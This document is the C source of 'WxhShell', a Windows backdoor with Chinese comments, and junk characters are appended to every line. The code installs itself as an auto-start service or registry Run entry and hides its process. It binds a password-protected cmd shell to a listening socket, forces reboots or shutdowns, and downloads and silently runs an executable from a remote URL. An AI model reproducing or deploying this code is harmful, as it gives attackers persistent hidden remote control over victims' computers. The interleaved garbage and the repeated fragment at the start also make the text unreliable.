    if(Boot(SHUTDOWN)) 3_@G{O)e  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); .1%i`+uZ  
    else { TR_(_Yd?36  
    closesocket(wsh); R3cG<MjmK  
    ExitThread(0); $$/S8LmmK  
    } @>Biyb  
    break; I>8 Bc  
    } ?/^VOj4&  
  // 获取shell vkh;qPD  
  case 's': { Q)9369<A  
    CmdShell(wsh); <|wmjW/ D  
    closesocket(wsh);  MbM :3  
    ExitThread(0); ),z,LU Yf  
    break; 2@4MC`&  
  } r$Kh3EEF`E  
  // 退出 r ufRaar  
  case 'x': { 8Q +TE;  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); :hi$}xHa  
    CloseIt(wsh); (2 mS v  
    break; ~mW>_[RT;  
    } CVi<~7Am\  
  // 离开 a#>t+.dd  
  case 'q': { o^N%;d1%E  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); !fif8kf  
    closesocket(wsh); Yr Preuh  
    WSACleanup(); R2'C s  
    exit(1); g9! d pP  
    break; F 'fM?!(  
        } yFa&GxSq  
  } ;Ce 2d+K  
  } _6| /P7"  
s-y'<(ll  
  // 提示信息 C}|O#"t^\  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); I(F1S,7  
} L'zdsa}Et  
  } QZ_nQ3K  
Ynv 9v\n|  
  return; ,[+ZjAyG}#  
} 9? v)  
^D0/H N   
// shell模块句柄 ;o&_:]S  
int CmdShell(SOCKET sock) I]s:Ev[~  
{ t,UW&iLK  
STARTUPINFO si; cC*zj \O  
ZeroMemory(&si,sizeof(si)); ^?JEyY  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; \=TWYj_Ah  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; )GQ D*b  
PROCESS_INFORMATION ProcessInfo; kemr@_  
char cmdline[]="cmd"; H 7 o$O  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); 'Sm/t/g"|  
  return 0; k)o7COx  
} ~0:$G?fz  
*NKC \aV`0  
// 自身启动模式 Y>c5:F;  
int StartFromService(void) 0`zm>fh}  
{ JB: mbH  
typedef struct bt. K<Y0  
{ !!\4'Q[  
  DWORD ExitStatus; B]CS2LEqh  
  DWORD PebBaseAddress; 5k_Mj* {6  
  DWORD AffinityMask; *m2d#f  
  DWORD BasePriority; GN8`xR{J*  
  ULONG UniqueProcessId; .T[!!z#^  
  ULONG InheritedFromUniqueProcessId; V_ avaE  
}   PROCESS_BASIC_INFORMATION; jp\JwE  
|O #wdnYW  
PROCNTQSIP NtQueryInformationProcess; !)=#p9  
,DW0A//  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; C[HE4xF6  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; H>Iet}/c   
w96j,rEC  
  HANDLE             hProcess; S@l a.0HDA  
  PROCESS_BASIC_INFORMATION pbi; %u<&^8EL+#  
A X^3uRQJ  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); 'R-JQ E-]  
  if(NULL == hInst ) return 0; ;FIMCJS  
FlM.D u  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); "Hsq<oV8  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); +;4AG::GN  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); 'bQ s_  
;nHo%`Zt  
  if (!NtQueryInformationProcess) return 0; _dB0rsCnU%  
8M5!5Jzv  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); U(=f5|-  
  if(!hProcess) return 0; l)2HHu<  
Mf,Mcvs  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; h1D~AgZOVj  
*]DJAF]  
  CloseHandle(hProcess); XJV3oj   
2Q;Y@%G  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); Bwi[qw  
if(hProcess==NULL) return 0; (urfaZ;@+  
Vtc)/OH  
HMODULE hMod; *RqO3=  
char procName[255]; {{#a%O  
unsigned long cbNeeded; LU 5 `!0m  
hBs>2u|z9  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); K.sj"#D  
{ ?1 mY"  
  CloseHandle(hProcess); E|6Z]6[  
kcZ;SYosj  
if(strstr(procName,"services")) return 1; // 以服务启动 -qnXa  
71.:p,Z@z  
  return 0; // 注册表启动 \?Oly171  
} 'KIi!pA.  
,nuDoc  
// 主模块 .\hib. n3  
int StartWxhshell(LPSTR lpCmdLine) PxCl]~v  
{ M,v@G$pW  
  SOCKET wsl; VNh,pQ(  
BOOL val=TRUE; LMhY"/hAXa  
  int port=0; j#.-MfB  
  struct sockaddr_in door; Duo#WtC  
FZ'>LZ  
  if(wscfg.ws_autoins) Install(); PY3Vu]zD  
\c@qtIc  
port=atoi(lpCmdLine); %<#$:Qb.  
s D8xH  
if(port<=0) port=wscfg.ws_port; sou$qKoG01  
\?`d=n=  
  WSADATA data; \Lh<E5@]  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 9"u @<]  
C`K9WJOD  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   qjRiTIp9q  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); I! eSJTN  
  door.sin_family = AF_INET; H:nu>pz t  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); =B 4gEWR  
  door.sin_port = htons(port); 9W,}A Wf:Y  
8aIf{(/k  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0m| Gp  
closesocket(wsl); QW"6]  
return 1; e|+;j}^C  
} ,LW%'tQ~"  
K5c7>I%k  
  if(listen(wsl,2) == INVALID_SOCKET) { 5['B- Iw  
closesocket(wsl); O|g!Y(  
return 1; *fy`JC  
} F|ML$  
  Wxhshell(wsl); S:GUR6g8D  
  WSACleanup(); do?n /<@o  
p?gLW/n  
return 0; MBTt'6M  
Exo`Z`m`U  
} HjY-b*B  
7g<`w LAH  
// 以NT服务方式启动 {XUfxNDf  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) J?=Ob?+ _  
{ 0bQiUcg/  
DWORD   status = 0; 06W=(fY  
  DWORD   specificError = 0xfffffff; K]]r OF  
9+;f1nV  
  serviceStatus.dwServiceType     = SERVICE_WIN32; ^OcfM_4pN  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; `"-!UkD+  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; {&j{V-}f  
  serviceStatus.dwWin32ExitCode     = 0; igbb=@QBJ  
  serviceStatus.dwServiceSpecificExitCode = 0; p<nBS" /  
  serviceStatus.dwCheckPoint       = 0; .j4ziRa-  
  serviceStatus.dwWaitHint       = 0; %TggNU,  
U;A5-|C  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); 7VZ JGRnn  
  if (hServiceStatusHandle==0) return; t 6IaRD  
gB{R6 \<O  
status = GetLastError(); E@}j}/%'O  
  if (status!=NO_ERROR) l8d%hQVqT  
{ <TROs!x$a  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; u~T$F/]k>  
    serviceStatus.dwCheckPoint       = 0; H;!hp0y  
    serviceStatus.dwWaitHint       = 0; u2\qg;dP  
    serviceStatus.dwWin32ExitCode     = status; Fea\ eB  
    serviceStatus.dwServiceSpecificExitCode = specificError; \ A UtGP  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); c\rbLr}l)  
    return; 3jdB8a]T_  
  } :/[ZgreN6  
J?ZVzKTb>}  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K#+]  
  serviceStatus.dwCheckPoint       = 0; /!uBk3x:  
  serviceStatus.dwWaitHint       = 0; 5dEO_1q %  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); e.YchGTQ  
} 7T;RXrT  
*R6eykp  
// 处理NT服务事件,比如:启动、停止 d/zX%  
VOID WINAPI NTServiceHandler(DWORD fdwControl) uR @Wv^  
{ Leick 6  
switch(fdwControl) Wn#JY p  
{ v})Ti190  
case SERVICE_CONTROL_STOP: -&$%m)wN  
  serviceStatus.dwWin32ExitCode = 0; R;,HtN  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; K?m:.ZM  
  serviceStatus.dwCheckPoint   = 0; H+&w7ER  
  serviceStatus.dwWaitHint     = 0; 9i)mv/i  
  { <ORz`^27o  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ]4~D;mv  
  } M !XFb  
  return; @"7dk.|  
case SERVICE_CONTROL_PAUSE: y#0Z[[I0  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; ~u& O  
  break; {O oNhN9  
case SERVICE_CONTROL_CONTINUE: aJ_Eh(cF  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; M<m64{m1  
  break; "J:NW_U  
case SERVICE_CONTROL_INTERROGATE: )H, <i{80c  
  break; ~:b~f]lO  
}; C$;s+ALy[  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); RSeezP6#  
} qNVw+U;2P  
/;$ew~}  
// 标准应用程序主函数 )Bvu[r Uy  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) * rANf&y  
{ LVtQ^ 5>8  
3VB V_/i;  
// 获取操作系统版本 )_.H #|r  
OsIsNt=GetOsVer(); O5*uL{pvT{  
GetModuleFileName(NULL,ExeFile,MAX_PATH); rAdcMFW  
pr89zkYw  
  // 从命令行安装 '^Np<  
  if(strpbrk(lpCmdLine,"iI")) Install(); 5|t&qUV  
@Odu.F1e  
  // 下载执行文件 W >IKy#  
if(wscfg.ws_downexe) { df rr.i  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) ({b/J0 <@D  
  WinExec(wscfg.ws_filenam,SW_HIDE); Q>*K/%KD  
} gb#wrI  
LMzYsXG*[  
if(!OsIsNt) { J(VZa_  
// 如果时win9x,隐藏进程并且设置为注册表启动 ebVfny$D  
HideProc(); x G"p .  
StartWxhshell(lpCmdLine); NdQ?3'WJ  
} 6)j4 TH  
else K ePHn:c  
  if(StartFromService()) 0].5[Jo  
  // 以服务方式启动 8+|Lph`/?  
  StartServiceCtrlDispatcher(DispatchTable); UzwIV{  
else b4PK  
  // 普通方式启动 "n-xsAG  
  StartWxhshell(lpCmdLine); MT gEq  
CI{TgL:l  
return 0; <7Lz<{jaJ  
} Jev.o]|_,  
R:<AR.)K  
z<=t3dj  
NFPkK?+  
=========================================== HWZ*Htr  
39e oL;O_  
M$A!  
^O"`.2O1  
`Yve  
_{);n$`  
" P=z':4,M}  
46`{mPd{aO  
#include <stdio.h> qeGOSGc_  
#include <string.h> .{>-.&  
#include <windows.h> M#|xj <p  
#include <winsock2.h> _<Tz 1>j=  
#include <winsvc.h> G;+ 0V0K  
#include <urlmon.h> ~vS.Dr  
O-YE6u  
#pragma comment (lib, "Ws2_32.lib") @#">~P|Hp  
#pragma comment (lib, "urlmon.lib") H#akE\,  
uBJF}"4ej  
#define MAX_USER   100 // 最大客户端连接数 $5O&[/L  
#define BUF_SOCK   200 // sock buffer A;PV,2|X  
#define KEY_BUFF   255 // 输入 buffer _JoA=< O!  
2US8<sq+  
#define REBOOT     0   // 重启 K~G^jAk+  
#define SHUTDOWN   1   // 关机 0\A[a4crj  
s5@^g8(+C  
#define DEF_PORT   5000 // 监听端口 r]{:{Z  
;kA2"c]m  
#define REG_LEN     16   // 注册表键长度 Ok\UIi~  
#define SVC_LEN     80   // NT服务名长度 Hqv(X=6E0  
]F! ,Jx  
// 从dll定义API d4tVK0 ~  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); $>Do&TU   
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); <L 0_< T  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); iLei-\w6y  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 3]A'C&  
KxI(# }5o&  
// wxhshell配置信息 SY.V_O$l }  
struct WSCFG { u/WkqJvw#  
  int ws_port;         // 监听端口 nAOId90wue  
  char ws_passstr[REG_LEN]; // 口令 7IR n  
  int ws_autoins;       // 安装标记, 1=yes 0=no 7="V7  
  char ws_regname[REG_LEN]; // 注册表键名 ~C3-E %h@Z  
  char ws_svcname[REG_LEN]; // 服务名 K[Kc'6G  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 7EUaf;d^  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 |H49 FL  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 b9Nw98`  
int ws_downexe;       // 下载执行标记, 1=yes 0=no w}?\Q,  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" lC{m;V2  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 _1QNO#X  
kS>j!U(%d  
}; Z~<V>b  
-g9f3Be  
// default Wxhshell configuration i[swOY z]X  
struct WSCFG wscfg={DEF_PORT, j\<S6%p#R  
    "xuhuanlingzhe",  `!BUd  
    1, hw1s^:|+2  
    "Wxhshell", bK7DGw`1  
    "Wxhshell", 8cl!8gfv  
            "WxhShell Service", 3dfSu'  
    "Wrsky Windows CmdShell Service", +{&g|V  
    "Please Input Your Password: ", |RdSrVB  
  1, O4{&B@!  
  "http://www.wrsky.com/wxhshell.exe", O1PdM52  
  "Wxhshell.exe" [ q}WS5Cp  
    }; 7O j9~3o4  
|tkmO:  
// 消息定义模块 F);C?SW"  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; b $!l* r  
char *msg_ws_prompt="\n\r? for help\n\r#>"; Oi RqqD  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; BL7%MvDQ  
char *msg_ws_ext="\n\rExit."; Vj1AW<  
char *msg_ws_end="\n\rQuit."; 6gn|WO=W f  
char *msg_ws_boot="\n\rReboot..."; mvnK)R_  
char *msg_ws_poff="\n\rShutdown..."; !G37K8 &&*  
char *msg_ws_down="\n\rSave to "; gKnAw+u\  
OpfFF;"A'  
char *msg_ws_err="\n\rErr!"; n!2|;|$}Z  
char *msg_ws_ok="\n\rOK!"; i?]!8Ji  
@%K 8 oYK  
char ExeFile[MAX_PATH]; m`|+_{4[n  
int nUser = 0; o3yZCz  
HANDLE handles[MAX_USER]; ZsE8eD  
int OsIsNt; 7u;B[qH  
lsd\ `X5,  
SERVICE_STATUS       serviceStatus; 1E(pJu'K  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; d)@M MF  
6_7d1.wv9  
// 函数声明 - >2ej4C  
int Install(void); se-}d.PwL  
int Uninstall(void); ;:OJQFu%4  
int DownloadFile(char *sURL, SOCKET wsh); M&L"yQA  
int Boot(int flag); ]pb3 Fm{  
void HideProc(void); mdwY48b  
int GetOsVer(void); '5IJ;4k  
int Wxhshell(SOCKET wsl); X~0P+E#  
void TalkWithClient(void *cs); yTk9+>  
int CmdShell(SOCKET sock); -kkXyO8js  
int StartFromService(void); ZD*>i=S  
int StartWxhshell(LPSTR lpCmdLine); Jx_4:G  
jWQB~XQY  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); x&sF_<[  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 8164SWB  
FU<rE&X2:  
// 数据结构和表定义 }k%>%xQ.  
SERVICE_TABLE_ENTRY DispatchTable[] = 5<61NnZ  
{ _=rXaTp  
{wscfg.ws_svcname, NTServiceMain}, ,YH.n>`s+  
{NULL, NULL} {)G3*>sG3  
}; 9P]TIV.  
ls=<c<  
// 自我安装 1i{B47|  
int Install(void) ;^;5"n h  
{ Zhw _L  
  char svExeFile[MAX_PATH]; &{8 "- dw  
  HKEY key; |KA8qQI]%  
  strcpy(svExeFile,ExeFile); .! &YO/  
i''dY!2  
// 如果是win9x系统,修改注册表设为自启动 0]T ;{  
if(!OsIsNt) { iS{)Tll}&  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { 1oC/W?l^  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); bF3j*bpO"  
  RegCloseKey(key); uzsR*x%s-  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { 79&Mc,69  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); YO=;)RA  
  RegCloseKey(key); KxvT}"k  
  return 0; CN zK-,  
    } #SL/Jr DZ  
  } #)XO,^s.  
} $.`(2  
else { MtS$ovg?  
ar{Yq  
// 如果是NT以上系统,安装为系统服务 ~j UK-E  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); -Z:al\e<g  
if (schSCManager!=0) E-r/$&D5mP  
{ &c A?|(7-  
  SC_HANDLE schService = CreateService !0cfz5t  
  ( Kl^Yq  
  schSCManager, m^`X|xK-  
  wscfg.ws_svcname, b*,R9  
  wscfg.ws_svcdisp, SN+&'?$WD  
  SERVICE_ALL_ACCESS, j,Mp["X&  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , 7I HWj<  
  SERVICE_AUTO_START, _ TUw0:&  
  SERVICE_ERROR_NORMAL,  -"<eq0  
  svExeFile, y`'Ly@s  
  NULL, L%fWa2P'  
  NULL, 3b|.L Jz+  
  NULL, D4@=+  
  NULL, A:N!H_x  
  NULL S6cSeRmw  
  ); ImgKqp0Z  
  if (schService!=0) (|Xf=q,Le  
  { r,F'Jd5  
  CloseServiceHandle(schService); (33[N  
  CloseServiceHandle(schSCManager); p/@z4TCNX  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); YTY0N5["  
  strcat(svExeFile,wscfg.ws_svcname); IUzRE?Kzf  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { bBjVot  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); 2t_E\W7w+  
  RegCloseKey(key); h$lY,7  
  return 0; jAF DkqH  
    } )Y)7p//  
  } )M1.>?b  
  CloseServiceHandle(schSCManager); i3YAK$w;&  
} Rd2*  
} 1V)0+_Yv  
Y8Mo.v  
return 1; <&:3|2p  
} /bg8oB4  
@w@rW }i0  
// 自我卸载 GJ!usv u  
int Uninstall(void) x< imMJ  
{ { Ke3  
  HKEY key; i^j{l_-JE  
8amtTM  
if(!OsIsNt) { 594$X@ !v  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { T Li0*)}  
  RegDeleteValue(key,wscfg.ws_regname); GMksr%0Pj  
  RegCloseKey(key); S# SA:>8s  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { N+h|Ffnp  
  RegDeleteValue(key,wscfg.ws_regname); 5PdC4vI*+  
  RegCloseKey(key); G>cTqD6gT  
  return 0; `lr\V;o!  
  } L{aT"Of{X  
} 2_UH,n  
} ?jy^WF`  
else { Z3 &8(vw  
(gz|6N  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ~bvx<:8*%  
if (schSCManager!=0) vw3%u+Z&  
{ D,]m7 yFT  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); &AA u:  
  if (schService!=0) ] 5c|  
  { fyT!/  
  if(DeleteService(schService)!=0) { Ii SO {  
  CloseServiceHandle(schService); m_oBV|v{  
  CloseServiceHandle(schSCManager); 852$Ui|I  
  return 0; y=-d*E  
  } ^k~{6S,  
  CloseServiceHandle(schService); >pz/wTOi  
  } /ZX8gR5x  
  CloseServiceHandle(schSCManager); +STT(bMn  
} VAV@Qn  
} cND2(< jx:  
Wu%;{y~#}  
return 1; (,HA Os  
} wMei`svY  
Dr<%Lr  
// 从指定url下载文件 90M:0SH  
int DownloadFile(char *sURL, SOCKET wsh) H~&9xtuHN  
{ BYP,}yzA  
  HRESULT hr; !dGy"-i$h  
char seps[]= "/"; ;v#~ o*  
char *token;  k:R9wo  
char *file; LKztGfy  
char myURL[MAX_PATH]; ykM(` 1` m  
char myFILE[MAX_PATH]; y%p&g  
L2AZ0E"ub  
strcpy(myURL,sURL); P6;L\9=H<  
  token=strtok(myURL,seps); .GLotc  
  while(token!=NULL) {P(IA2J'S  
  { v||8Q\d  
    file=token; @^/JNtbH!  
  token=strtok(NULL,seps); zI(b#eUF  
  } [BmondOx  
DS-Kot(k(z  
GetCurrentDirectory(MAX_PATH,myFILE); <"aPoGda  
strcat(myFILE, "\\"); ^25$=0  
strcat(myFILE, file); #>[+6y]U!  
  send(wsh,myFILE,strlen(myFILE),0); 6SW:'u|90  
send(wsh,"...",3,0); SbrBlP: G  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); )";g*4R[  
  if(hr==S_OK) ?\.P  
return 0; g7#_a6  
else D6c4tA^EO  
return 1; 8V.x%T  
dAohj QH:  
} d(42ob.Tr  
>lN{FJ  
// 系统电源模块 r!#NFek}  
int Boot(int flag) ln#Lx&r;|  
{ zLC\Rc4  
  HANDLE hToken; )=ZWn,ZB  
  TOKEN_PRIVILEGES tkp; wIL5-k,  
ad }^Dj/  
  if(OsIsNt) { b[VP"KZ?  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); ppfBfMX  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); L)4TW6IUk  
    tkp.PrivilegeCount = 1; fGY. +W_  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; &`0heJ 5Yn  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); N^CD4l  
if(flag==REBOOT) { ^=FtF9v  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) [P,1UO|$B  
  return 0; -0Y8/6](  
} {>>f5o 3  
else { :8jHN_u  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _K8ob8)m  
  return 0; PtwE[YDu  
} #Z(8 vA^@  
  } 8iR%?5 >K  
  else { #2{ };)  
if(flag==REBOOT) { ``K.4sG  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) "~N#Jqzr:  
  return 0; ci6j"nKci  
} [gQ*y~N  
else { $yHlkd`Y  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Ga"$_DyM  
  return 0; 5}E8Tl  
} k g0Z(T:&8  
} 'l!tQD!  
,z<\Z!+=  
return 1; %)u5A !"  
} \P+lb-~\"  
f LxFF  
// win9x进程隐藏模块 7-Fh!=\f/  
void HideProc(void) Z,_yE*q  
{ hA/K>Z  
j^ex5A.& &  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); /@Y/(+DE  
  if ( hKernel != NULL ) O.  V!L  
  { v.c2(w/P  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); } |(KI  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); 0r.*7aXu  
    FreeLibrary(hKernel); DU|0#z=*t5  
  } ` ` 6?;Y  
C$b$)uI;  
return; B}C"Xc  
} Zii<jZ.)<  
P<km?\Xp(  
// 获取操作系统版本 -_4U+Cfmtl  
int GetOsVer(void) pEw &i  
{ `$fwLC3j  
  OSVERSIONINFO winfo; <pK72  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); /`Yp]l  
  GetVersionEx(&winfo); S6 `4&0'  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) <._MNHC  
  return 1; }pTy mAN  
  else *U)!9DvA  
  return 0; .3t[M0sd  
} RL[?&L$7^%  
a)`b;]+9  
// 客户端句柄模块 0' @^PzX  
int Wxhshell(SOCKET wsl) '/Hx0]V  
{ ix=HLF-0zC  
  SOCKET wsh; !/BXMj,=  
  struct sockaddr_in client; ezY _7  
  DWORD myID; 4M}u_}9  
HUfH/x3zj]  
  while(nUser<MAX_USER) bYYyXM  
{ H"N o{|^<  
  int nSize=sizeof(client); 0~<d<a -@  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); !gWV4vC  
  if(wsh==INVALID_SOCKET) return 1; a#nVRPU8m  
}`{aeVHT  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ? !MDg_oHd  
if(handles[nUser]==0) @K7#}7,t  
  closesocket(wsh); ^EPM~cEY\  
else p%jl-CC1  
  nUser++; pkWzaf  
  } I;S[Ft8d  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); Wt"fn&R}  
A<C`JN}  
  return 0; :lcZ )6&S  
} S2HGf~rE  
Ayadvi(@P  
// 关闭 socket "~jt0pp  
void CloseIt(SOCKET wsh) YYzj:'  
{ Q *![u5#  
closesocket(wsh); \`-/\N  
nUser--; >sv|  
ExitThread(0); y<.0+YL-e+  
} (A}##h  
HW;,XzP=  
// 客户端请求句柄 82WXgB>  
void TalkWithClient(void *cs) [k ZvBd  
{ KDhr.P.~  
F0t!k>  
  SOCKET wsh=(SOCKET)cs; #joGIw  
  char pwd[SVC_LEN]; ;\DXRKR  
  char cmd[KEY_BUFF]; @kK${  
char chr[1]; 6] <~0{  
int i,j;  {.GC7dx  
]rO`e N[~U  
  while (nUser < MAX_USER) { (30{:o&^  
;;pxI5  
if(wscfg.ws_passstr) { kL 6f^MoL  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); N|EH`eu^i  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); g 7res  
  //ZeroMemory(pwd,KEY_BUFF); 12M&qqV  
      i=0; rhO ]4A  
  while(i<SVC_LEN) { C\Qor3];  
AB'q!7NR  
  // 设置超时 RLOB  
  fd_set FdRead; ~@S5*(&8  
  struct timeval TimeOut; y TfAS .  
  FD_ZERO(&FdRead); "45O!AjP  
  FD_SET(wsh,&FdRead); gQ %'2m+  
  TimeOut.tv_sec=8; I2hX;pk,  
  TimeOut.tv_usec=0; "Sz pFw  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); ;aExEgTq  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); zM%ILv4  
;Oh4W<hH}  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); <7fF9X  
  pwd=chr[0]; ]1>U@oK  
  if(chr[0]==0xd || chr[0]==0xa) { :A%uXgK<k  
  pwd=0; L:"i,K#P  
  break; J?&lpsB3_l  
  } 7d*SZmD  
  i++; Ml1yk)3G  
    } -g(&5._,ZW  
uh*b[`e  
  // 如果是非法用户,关闭 socket E}sj l  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); <"Z]S^>$  
} |v#N  
Adp:O"-H1o  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); 3U9]&7^  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); (" <3w2Vlh  
$p30?\  
while(1) { ^o}!=aMr  
Pf5RlpL:p  
  ZeroMemory(cmd,KEY_BUFF); O?/\hZ"&c  
i% 19|an  
      // 自动支持客户端 telnet标准   n&Bolt(tO  
  j=0; e;\g[^U  
  while(j<KEY_BUFF) { - } \g[|  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); tz \7,yGT  
  cmd[j]=chr[0];  m/gl7+  
  if(chr[0]==0xa || chr[0]==0xd) { p8o ~  
  cmd[j]=0; jU |0!]  
  break; ; >Tko<  
  } gO_{(\w*  
  j++; KoZ" yD  
    } [hSE^ m  
Q]9H9?}N?  
  // 下载文件 fz#e4+oH  
  if(strstr(cmd,"http://")) { 5<\&7P3y  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); Y0fX\6=h  
  if(DownloadFile(cmd,wsh)) xZZW*d_b  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); [ &RZ&  
  else ESp)%  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); 9AK<<Mge.  
  } ]CsF} wr'z  
  else { Z? u\  
]`)50\pdw  
    switch(cmd[0]) { Mk9'  
  v*`$is+  
